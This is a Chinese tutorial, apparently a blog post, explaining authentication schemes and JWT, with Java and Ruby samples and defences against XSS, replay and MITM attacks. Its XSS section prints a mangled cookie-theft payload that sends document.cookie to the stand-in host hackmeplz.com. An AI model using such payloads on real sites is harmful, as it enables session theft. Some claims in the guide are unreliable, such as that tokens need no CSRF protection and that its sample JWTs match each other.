一、常見的集中認(rèn)證機(jī)制
1、HTTP Basic Auth
在每次訪問 API 時(shí),都要提供用戶的username 和 password,Basic Auth 是配合 RESTful使用的最簡單的認(rèn)證方式,只需要提供用戶名和密碼即可。因此,存在把用戶名和密碼暴露給第三方的安全問題。
2、OAuth
OAuth(開放授權(quán))是一個(gè)開放的授權(quán)標(biāo)準(zhǔn),允許用戶讓第三方應(yīng)用訪問該用戶在某一web服務(wù)上存儲的私密的資源(如照片,視頻,聯(lián)系人列表),而無需將用戶名和密碼提供給第三方應(yīng)用。
OAuth允許用戶提供一個(gè)令牌,而不是用戶名和密碼來訪問他們存放在特定服務(wù)提供者的數(shù)據(jù)。每一個(gè)令牌授權(quán)一個(gè)特定的第三方系統(tǒng)(例如,視頻編輯網(wǎng)站)在特定的時(shí)段(例如,接下來的2小時(shí)內(nèi))內(nèi)訪問特定的資源(例如僅僅是某一相冊中的視頻)。這樣,OAuth讓用戶可以授權(quán)第三方網(wǎng)站訪問他們存儲在另外服務(wù)提供者的某些特定信息,而非所有內(nèi)容
- 下面是OAuth2.0的流程:

這種基于OAuth的認(rèn)證機(jī)制適用于個(gè)人消費(fèi)者類的互聯(lián)網(wǎng)產(chǎn)品,如社交類APP等應(yīng)用,但是不太適合擁有自有認(rèn)證權(quán)限管理的企業(yè)應(yīng)用;
3、Cookie Auth
Cookie認(rèn)證機(jī)制就是為一次請求認(rèn)證在服務(wù)端創(chuàng)建一個(gè)Session對象,同時(shí)在客戶端的瀏覽器端創(chuàng)建了一個(gè)Cookie對象;通過客戶端帶上來Cookie對象來與服務(wù)器端的session對象匹配來實(shí)現(xiàn)狀態(tài)管理的。默認(rèn)的,當(dāng)我們關(guān)閉瀏覽器的時(shí)候,cookie會被刪除。但可以通過修改cookie 的expire time使cookie在一定時(shí)間內(nèi)有效;
4、Token Auth

4.1 token auth相對于cookie auth的優(yōu)勢:
- ① 支持跨域訪問:
Cookie auth 是不允許跨域訪問的,但是 Token auth是可以的,只需要將用戶認(rèn)證信息通過 HTTP 頭出入即可。
- ② 無狀態(tài)(服務(wù)器可擴(kuò)展行):
Token機(jī)制在服務(wù)器端不需要存儲Session信息,因?yàn)樵赥oken中包含了所有的登陸用戶信息,只需要在客戶端的cookie或者本地介質(zhì)中存儲狀態(tài)信息。
- ③ 要適用CDN:
可以通過內(nèi)容分發(fā)請求你服務(wù)端的所有資料(如:js、html、圖片等),而在服務(wù)端只需要提供 API 即可。
- ④ 去除耦合性:
Token可以在任何的地方生成,所以不需要綁定到一個(gè)特定的身份認(rèn)證方案,只要在調(diào)用你的 API 時(shí),你可以進(jìn)行Token的生成調(diào)用即可。
- ⑤ 適用于移動應(yīng)用:
Cookie 是不能在原生平臺(IOS、Android、Windows8等)上被支持的(需要通過Cookie容器來處理),而此時(shí)使用Token機(jī)制會方便很多,
- ⑥ CSRF(跨站請求偽造):
因?yàn)門oken本身是不依賴與Cookie的,所以不需要考慮CSRF的防范。
- ⑦ 性能:
Cookie認(rèn)證,需要在一次網(wǎng)絡(luò)往返中,通過數(shù)據(jù)庫查詢Session信息,而Token只需要進(jìn)行一次的 hmacsha256 的計(jì)算,因此在性能上會好很多。
- ⑧ 基于標(biāo)準(zhǔn)化:
你的API可以采用標(biāo)準(zhǔn)化的 JSON Web Token (JWT). 這個(gè)標(biāo)準(zhǔn)已經(jīng)存在多個(gè)后端庫(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).
二、基于JWT的Token認(rèn)證
Json Web Token 是一個(gè)非常輕巧的規(guī)范,這個(gè)規(guī)范可以允許我使用JWT在用戶和服務(wù)器直接傳輸安全可靠的信息。
1、JWT的組成
一個(gè)JWT實(shí)際上就是一個(gè)字符串,它由三部分組成:頭部、載荷、簽名。
1.1 載荷(Payload)
{ "iss": "Online JWT Builder",
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "jrocket@example.com",
"Role": [ "Manager", "Project Administrator" ]
}
- iss:該JWT的簽發(fā)者,是否使用是可以選擇的。
- sub:該JWT所面向的用戶,是否使用是可選的。
- aud:接收該JWT的一方,是否使用是可選的。
- exp(expires):什么時(shí)候過期,是一個(gè)UNIX的時(shí)間戳,是否使用是可選的。
- iat(issued at):在什么時(shí)候簽發(fā)UNIX時(shí)間,是否使用是可選的。
- nbf(not before):如果當(dāng)前時(shí)間在nbf的時(shí)間之前,則Token不被接受,一般都會留幾分鐘,是否使用是可選的。
將上面的json對象進(jìn)行base64編碼,即可以得到對應(yīng)的字符串,這個(gè)字符串就是JWT的載荷
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
小知識: Base64是一種基于64個(gè)可打印字符來表示二進(jìn)制數(shù)據(jù)的表示方法。由于2的6次方等于64,所以每6個(gè)比特為一個(gè)單元,對應(yīng)某個(gè)可打印字符。三個(gè)字節(jié)有24個(gè)比特,對應(yīng)于4個(gè)Base64單元,即3個(gè)字節(jié)需要用4個(gè)可打印字符來表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它們可以非常方便的完成基于 BASE64 的編碼和解碼
1.2 頭部(Header)
頭部用戶描述該 JWT 的最基本的信息,例如其類型以及簽名所用的算法等。它也可以被表示成一個(gè)json.
{
"typ": "JWT",
"alg": "HS256" // 指明使用HS256算法
}
對上面的json進(jìn)行base64位編碼得到對應(yīng)的字符串
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
1.3 簽名(signature)
- 將頭部+載荷生成的字符串用英文的句號連接在一起,便組成了簽名(頭部在前)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
- 我們將上面拼接完的字符串用HS256算法進(jìn)行加密。在加密的時(shí)候,我們還需要提供一個(gè)密鑰(secret)。如果我們用mystar作為密鑰的話,那么就可以得到我們加密后的內(nèi)容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
- 將這一部分簽名也用英文的句號拼接在被簽名的字符串后面,我們就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
請求的URL中就會帶有我們的JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
三、Token的認(rèn)證流程
通過一個(gè)小的實(shí)例來詳解Token認(rèn)證的過程。
1 登陸
[圖片上傳失敗...(image-adaf1f-1525842727815)]
第一次認(rèn)證:第一次登陸,用戶在瀏覽器輸入用戶名和密碼,提交后到達(dá)服務(wù)端的登錄處理Controller層。
Controller調(diào)用服務(wù),進(jìn)行用戶登陸的用戶名和密碼的驗(yàn)證,如果認(rèn)證通過,Controller調(diào)用用戶信息服務(wù),獲取用戶信息(包括完整的用戶信息以及權(quán)限信息)。
返回用戶登錄信息后,Controller從配置文件中獲取生成的Token秘鑰信息,進(jìn)行Token的生成。
生成Token的過程中可以調(diào)用第三方的JWT Lib生成簽名后的JWT數(shù)據(jù)。
完成JWT數(shù)據(jù)后,將其設(shè)置到Cookie對象中,并重定向到首頁,完成登錄過程。
2、請求認(rèn)證
基于Token的認(rèn)證機(jī)制,在每一次請求時(shí),都會帶上完成簽名的Token信息,這個(gè)Token信息可能在Cookie中,也可能在HTTP的Authorization頭中。
[圖片上傳失敗...(image-cc89b4-1525842727816)]
客戶端(瀏覽器或者APP)通過 GET 或者 POST 請求訪問資源(頁面或者調(diào)用API)。
認(rèn)證服務(wù)作為一個(gè)中間件兒(Middleware HOOK ),對請求進(jìn)行攔截,首先在Cookie中查找Token信息,如果沒有找到在HTTP的Authorization Head中查找。
如果找到Token信息,則根據(jù)配置文件中的簽名加密秘鑰,調(diào)用JWT Lib的對Token信息進(jìn)行解密和解碼操作。
完成解碼并驗(yàn)證簽名通過后,對Token中的exp、nbf、aud等信息進(jìn)行驗(yàn)證。
全部通過后,通過獲取的用戶的角色權(quán)限信息,進(jìn)行對請求資源的權(quán)限邏輯判斷。
如果權(quán)限邏輯判斷通過,則通過Response對象返回,否則返回 HTTP 401.
3、Token認(rèn)證五點(diǎn)認(rèn)知注意
一個(gè)Token就是一些信息的集合。
在Token中包含足夠多的信息,一邊在后續(xù)請求中減少查詢數(shù)據(jù)庫的幾率。
服務(wù)器需要對Cookie和HTTP Authorization Header進(jìn)行Token信息的檢查。
基于上一點(diǎn),你可以用一套Token認(rèn)證來面對瀏覽器類客戶端和非瀏覽器類客戶端。
因?yàn)門oken是被簽名的,所以我們可以認(rèn)為一個(gè)解碼認(rèn)證通過的Token是由我們系統(tǒng)發(fā)出的,其中帶的信息是合法有效的。
四、JWT的java實(shí)現(xiàn)
java中對JWT的支持可以考慮使用開源庫:JJWT,JJWT實(shí)現(xiàn)JWT、JWS、JWE 和 JWA RFC規(guī)范。
1、生成Token
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;
//Sample method to construct a JWT
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
//Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
.setIssuedAt(now)
.setSubject(subject)
.setIssuer(issuer)
.signWith(signatureAlgorithm, signingKey);
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
long expMillis = nowMillis + ttlMillis;
Date exp = new Date(expMillis);
builder.setExpiration(exp);
}
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}
2、解碼和驗(yàn)證Token碼
import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()
.setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
.parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
五、基于JWT的Token安全認(rèn)證問題
1、確保驗(yàn)證過程的安全性
如何保證用戶名/密碼驗(yàn)證過程的安全性;因?yàn)樵隍?yàn)證過程中,需要用戶輸入用戶名和密碼,在這一過程中,用戶名、密碼等敏感信息需要在網(wǎng)絡(luò)中傳輸。因此,在這個(gè)過程中建議采用HTTPS,通過SSL加密傳輸,以確保通道的安全性。
2、防范XSS Attacks
2.1 場景
瀏覽器可以做很多事情,這也給瀏覽器端的安全帶來很多隱患,最常見的如:XSS攻擊:跨站腳本攻擊(Cross Site Scripting);如果有個(gè)頁面的輸入框中允許輸入任何信息,且沒有做防范措施,如果我們輸入下面這段代碼:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"
這段代碼會盜取你域中的所有cookie信息,并發(fā)送到 hackmeplz.com;
2.2 防范措施
- XSS攻擊代碼過濾
移除任何會導(dǎo)致瀏覽器做非預(yù)期執(zhí)行的代碼,這個(gè)可以采用一些庫來實(shí)現(xiàn)(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是將用戶提交的字符串存儲到數(shù)據(jù)庫的話(也針對SQL注入攻擊),你需要在前端和服務(wù)端分別做過濾;
- 采用HTTP-Only Cookies
通過設(shè)置Cookie的參數(shù): HttpOnly; Secure 來防止通過JavaScript 來訪問Cookie;
- 建議升級Tomcat7.0,它已經(jīng)實(shí)現(xiàn)了Servlet3.0:http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
- 或者通過這樣來設(shè)置:
//設(shè)置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
//設(shè)置多個(gè)cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
//設(shè)置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在實(shí)際使用中,我們可以使FireCookie查看我們設(shè)置的Cookie 是否是HttpOnly;
2.3 防范Replay Attacks
所謂重放攻擊就是攻擊者發(fā)送一個(gè)目的主機(jī)已接收過的包,來達(dá)到欺騙系統(tǒng)的目的,主要用于身份認(rèn)證過程。比如在瀏覽器端通過用戶名/密碼驗(yàn)證獲得簽名的Token被木馬竊取。即使用戶登出了系統(tǒng),黑客還是可以利用竊取的Token模擬正常請求,而服務(wù)器端對此完全不知道,以為JWT機(jī)制是無狀態(tài)的。
常用的解決方案:
2.3.1 時(shí)間戳 +共享秘鑰
這種方案,客戶端和服務(wù)端都需要知道:
- User ID
- 共享秘鑰
客戶端
auth_header = JWT.encode({
user_id: 123,
iat: Time.now.to_i, # 指定token發(fā)布時(shí)間
exp: Time.now.to_i + 2 # 指定token過期時(shí)間為2秒后,2秒時(shí)間足夠一次HTTP請求,同時(shí)在一定程度確保上一次token過期,減少replay attack的概率;
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)
服務(wù)端
class ApiController < ActionController::Base
attr_reader :current_user
before_action :set_current_user_from_jwt_token
def set_current_user_from_jwt_token
# Step 1:解碼JWT,并獲取User ID,這個(gè)時(shí)候不對Token簽名進(jìn)行檢查
# the signature. Note JWT tokens are *not* encrypted, but signed.
payload = JWT.decode(request.authorization, nil, false)
# Step 2: 檢查該用戶是否存在于數(shù)據(jù)庫
@current_user = User.find(payload['user_id'])
# Step 3: 檢查Token簽名是否正確.
JWT.decode(request.authorization, current_user.api_secret)
# Step 4: 檢查 "iat" 和"exp" 以確保這個(gè)Token是在2秒內(nèi)創(chuàng)建的.
now = Time.now.to_i
if payload['iat'] > now || payload['exp'] < now
# 如果過期則返回401
end
rescue JWT::DecodeError
# 返回 401
end
end
2.3.2 時(shí)間戳 +共享秘鑰+黑名單 (類似Zendesk的做法)
客戶端
auth_header = JWT.encode({
user_id: 123,
jti: rand(2 << 64).to_s, # 通過jti確保一個(gè)token只使用一次,防止replace attack
iat: Time.now.to_i, # 指定token發(fā)布時(shí)間.
exp: Time.now.to_i + 2 # 指定token過期時(shí)間為2秒后
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)
服務(wù)端
def set_current_user_from_jwt_token
# 前面的步驟參考上面
payload = JWT.decode(request.authorization, nil, false)
@current_user = User.find(payload['user_id'])
JWT.decode(request.authorization, current_user.api_secret)
now = Time.now.to_i
if payload['iat'] > now || payload['exp'] < now
# 返回401
end
# 下面將檢查確保這個(gè)JWT之前沒有被使用過
# 使用Redis的原子操作
# The redis 的鍵: <user id>:<one-time use token>
key = "#{payload['user_id']}:#{payload['jti']}"
# 看鍵值是否在redis中已經(jīng)存在. 如果不存在則返回nil. 如果存在則返回“1”. .
if redis.getset(key, "1")
# 返回401
#
end
# 進(jìn)行鍵值過期檢查
redis.expireat(key, payload['exp'] + 2)
end
2.4 防范MITM (Man-In-The-Middle)Attacks
所謂MITM攻擊,就是在客戶端和服務(wù)器端的交互過程被監(jiān)聽,比如像可以上網(wǎng)的咖啡館的WIFI被監(jiān)聽或者被黑的代理服務(wù)器等;
針對這類攻擊的辦法使用HTTPS,包括針對分布式應(yīng)用,在服務(wù)間傳輸像cookie這類敏感信息時(shí)也采用HTTPS;所以云計(jì)算在本質(zhì)上是不安全的。